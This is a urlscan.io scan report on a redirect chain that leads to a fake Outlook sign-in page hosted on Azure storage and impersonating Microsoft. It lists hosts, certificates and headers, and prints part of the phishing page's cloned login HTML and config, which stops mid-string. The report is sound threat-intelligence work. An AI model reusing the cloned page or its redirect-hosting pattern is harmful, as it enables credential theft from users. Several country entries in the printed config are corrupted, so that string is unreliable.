urlscan.io logo urlscan.io
SecurityTrails logo

customredirects.z13.web.core.windows.net Open in urlscan Pro
20.60.6.129  Malicious Activity! Public Scan

Go To Rescan Add Verdict Report
Submitted URL: https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/www.gredirects.com/myoffice/start-2.html
Effective URL: https://customredirects.z13.web.core.windows.net/myoofice/terms-1.html
Submission: On March 10 via manual from NL
 Behaviour Indicators
Similar DOM Content API
Verdicts

Summary

This website contacted 10 IPs in 5 countries across 8 domains to perform 21 HTTP transactions. The main IP is 20.60.6.129, located in Washington, United States and belongs to MICROSOFT-CORP-MSN-AS-BLOCK, US. The main domain is customredirects.z13.web.core.windows.net.
TLS certificate: Issued by Microsoft RSA TLS CA 01 on February 16th 2021. Valid for: a year.
This is the only time customredirects.z13.web.core.windows.net was scanned on urlscan.io!

urlscan.io Verdict: Potentially Malicious

Targeting these brands: Microsoft (Consumer)

Domain & IP information

IP Address AS Autonomous System
2 47.89.250.243 45102 (CNNIC-ALI...)
1 20.60.6.129 8075 (MICROSOFT...)
13 152.199.23.37 15133 (EDGECAST)
1 145.239.131.55 16276 (OVH)
1 144.76.69.233 24940 (HETZNER-AS)
1 2a02:26f0:710... 20940 (AKAMAI-ASN1)
1 2001:4de0:ac1... 20446 (HIGHWINDS3)
1 20.190.159.134 8075 (MICROSOFT...)
21 10
2    47.89.250.243 (United States)

ASN45102 (CNNIC-ALIBABA-US-NET-AP Alibaba (US) Technology Co., Ltd., CN)
i6lojoksqh4hgckxdz3zoa-on.drv.tw
drv.tw
1    20.60.6.129 (Washington, United States)

ASN8075 (MICROSOFT-CORP-MSN-AS-BLOCK, US)
customredirects.z13.web.core.windows.net
13    152.199.23.37 (United States)

ASN15133 (EDGECAST, US)
aadcdn.msftauth.net
1    145.239.131.55 (France)

ASN16276 (OVH, FR)
PTR: i.ibb.co
i.ibb.co
1    144.76.69.233 (Germany)

ASN24940 (HETZNER-AS, DE)
PTR: static.233.69.76.144.clients.your-server.de
srv-file8.gofile.io
1    2a02:26f0:7100:18d::30ec (Frankfurt am Main, Germany)

ASN20940 (AKAMAI-ASN1, NL)
image.flaticon.com
1    2001:4de0:ac18::1:a:3b (Netherlands)

ASN20446 (HIGHWINDS3, US)
code.jquery.com
1    20.190.159.134 (Dublin, Ireland)

ASN8075 (MICROSOFT-CORP-MSN-AS-BLOCK, US)
login.live.com
Domain Requested by
13 aadcdn.msftauth.net text
1 login.live.com text
1 code.jquery.com text
1 image.flaticon.com text
1 srv-file8.gofile.io text
1 i.ibb.co text
1 drv.tw i6lojoksqh4hgckxdz3zoa-on.drv.tw
1 customredirects.z13.web.core.windows.net i6lojoksqh4hgckxdz3zoa-on.drv.tw
1 i6lojoksqh4hgckxdz3zoa-on.drv.tw
21 9

This site contains no links.

Subject Issuer Validity Valid
*.drv.tw
R3		 2021-02-01 -
2021-05-02		 3 months crt.sh
*.web.core.windows.net
Microsoft RSA TLS CA 01		 2021-02-16 -
2022-02-16		 a year crt.sh
aadcdn.msftauth.net
DigiCert SHA2 Secure Server CA		 2020-07-09 -
2021-07-09		 a year crt.sh
ibb.co
R3		 2021-02-02 -
2021-05-03		 3 months crt.sh
srv-file8.gofile.io
R3		 2021-02-16 -
2021-05-17		 3 months crt.sh
thumbr.io
Sectigo RSA Domain Validation Secure Server CA		 2020-06-05 -
2022-08-04		 2 years crt.sh
jquery.org
Sectigo RSA Domain Validation Secure Server CA		 2020-10-06 -
2021-10-16		 a year crt.sh
graph.windows.net
DigiCert SHA2 Secure Server CA		 2021-03-04 -
2022-03-04		 a year crt.sh

This page contains 2 frames:

Primary Page: https://customredirects.z13.web.core.windows.net/myoofice/terms-1.html
Frame ID: 40B3B743405D64D2687DAE2DD25AA6D4
Requests: 3 HTTP requests in this frame

Frame: data://truncated
Frame ID: 83F52601F17A9932B0F0597FB26E9C60
Requests: 20 HTTP requests in this frame

Screenshot
Live screenshot
Full Image

Page URL History Show full URLs

  1. https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/www.gredirects.com/myoffice/start-2.html Page URL
  2. https://customredirects.z13.web.core.windows.net/myoofice/terms-1.html Page URL

Detected technologies

Overall confidence: 100%
Detected patterns
  • headers server /Ubuntu/i
Overall confidence: 100%
Detected patterns
  • headers server /nginx(?:\/([\d.]+))?/i

Page Statistics

21
Requests

100 %
HTTPS

25 %
IPv6

8
Domains

9
Subdomains

10
IPs

5
Countries

429 kB
Transfer

964 kB
Size

0
Cookies

Page URL History

This captures the URL locations of the websites, including HTTP redirects and client-side redirects via JavaScript or Meta fields.

  1. https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/www.gredirects.com/myoffice/start-2.html Page URL
  2. https://customredirects.z13.web.core.windows.net/myoofice/terms-1.html Page URL

Redirected requests

There were HTTP redirect chains for the following requests:

21 HTTP transactions

Resource
Path		 Size
x-fer		 Type
MIME-Type
start-2.html
i6lojoksqh4hgckxdz3zoa-on.drv.tw/www.gredirects.com/myoffice/ 		345 B
476 B 		Document
General
Check archive.org
Download Go to
Full URL
https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/www.gredirects.com/myoffice/start-2.html
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
47.89.250.243 , United States, ASN45102 (CNNIC-ALIBABA-US-NET-AP Alibaba (US) Technology Co., Ltd., CN),
Reverse DNS
Software
nginx/1.14.0 (Ubuntu) /
Resource Hash

Request headers

:method
GET
:authority
i6lojoksqh4hgckxdz3zoa-on.drv.tw
:scheme
https
:path
/www.gredirects.com/myoffice/start-2.html
pragma
no-cache
cache-control
no-cache
upgrade-insecure-requests
1
user-agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36
accept
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
sec-fetch-site
none
sec-fetch-mode
navigate
sec-fetch-user
?1
sec-fetch-dest
document
accept-encoding
gzip, deflate, br
accept-language
en-US
Upgrade-Insecure-Requests
1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

server
nginx/1.14.0 (Ubuntu)
date
Wed, 10 Mar 2021 10:27:58 GMT
content-type
text/html
last-modified
Tue, 09 Mar 2021 19:24:50 GMT
cache-control
public, max-age=604800
vary
Accept-Encoding
content-encoding
gzip
x-cache
BYPASS
set-cookie
uid=rBEO6WBIny6zawLPGv1DAg==; domain=.drv.tw; path=/
Primary Request terms-1.html
customredirects.z13.web.core.windows.net/myoofice/ 		75 KB
75 KB 		Document
General
Check archive.org
Download Go to
Full URL
https://customredirects.z13.web.core.windows.net/myoofice/terms-1.html
Requested by
Host: i6lojoksqh4hgckxdz3zoa-on.drv.tw
URL: https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/www.gredirects.com/myoffice/start-2.html
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_256_GCM
Server
20.60.6.129 Washington, United States, ASN8075 (MICROSOFT-CORP-MSN-AS-BLOCK, US),
Reverse DNS
Software
Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 /
Resource Hash
56782154d70184fd9e5adb4272460ab9f48dd26f71ade3079c8396f4e481d8d3

Request headers

Host
customredirects.z13.web.core.windows.net
Connection
keep-alive
Pragma
no-cache
Cache-Control
no-cache
Upgrade-Insecure-Requests
1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36
Accept
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site
cross-site
Sec-Fetch-Mode
navigate
Sec-Fetch-Dest
document
Referer
https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/
Accept-Encoding
gzip, deflate, br
Accept-Language
en-US
Upgrade-Insecure-Requests
1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36
Referer
https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/

Response headers

Content-Length
76600
Content-Type
text/html
Content-MD5
Wq9wGZYEwqdqDLlTM2Ndhw==
Last-Modified
Tue, 09 Mar 2021 19:22:06 GMT
Accept-Ranges
bytes
ETag
"0x8D8E330A0914EB5"
Server
Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id
a5ab1608-001e-008b-3a98-1538f2000000
x-ms-version
2018-03-28
Date
Wed, 10 Mar 2021 10:27:58 GMT
wd.js
drv.tw/inc/ 		365 B
592 B 		Script
General
Check archive.org
Download Go to
Full URL
https://drv.tw/inc/wd.js
Requested by
Host: i6lojoksqh4hgckxdz3zoa-on.drv.tw
URL: https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/www.gredirects.com/myoffice/start-2.html
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
47.89.250.243 , United States, ASN45102 (CNNIC-ALIBABA-US-NET-AP Alibaba (US) Technology Co., Ltd., CN),
Reverse DNS
Software
nginx/1.14.0 (Ubuntu) /
Resource Hash

Request headers

Referer
https://i6lojoksqh4hgckxdz3zoa-on.drv.tw/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

date
Wed, 10 Mar 2021 10:27:58 GMT
last-modified
Mon, 28 Dec 2020 05:44:07 GMT
server
nginx/1.14.0 (Ubuntu)
etag
"5fe970a7-16d"
x-cache
BYPASS
content-type
application/javascript
cache-control
max-age=86400
accept-ranges
bytes
content-length
365
expires
Thu, 11 Mar 2021 10:27:58 GMT
truncated
/ Frame 83F5 		56 KB
56 KB 		Document
General
Check archive.org
Download Go to
Full URL
data:truncated
Protocol
DATA
Server
-, , ASN (),
Reverse DNS
Software
/
Resource Hash
4bf6c20834fcb856cba221b9ba439a28f660c24a421b6f70a10f202ab4e3b488

Request headers

Upgrade-Insecure-Requests
1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

Content-Type
text/html
converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css
aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ Frame 83F5 		105 KB
20 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://lo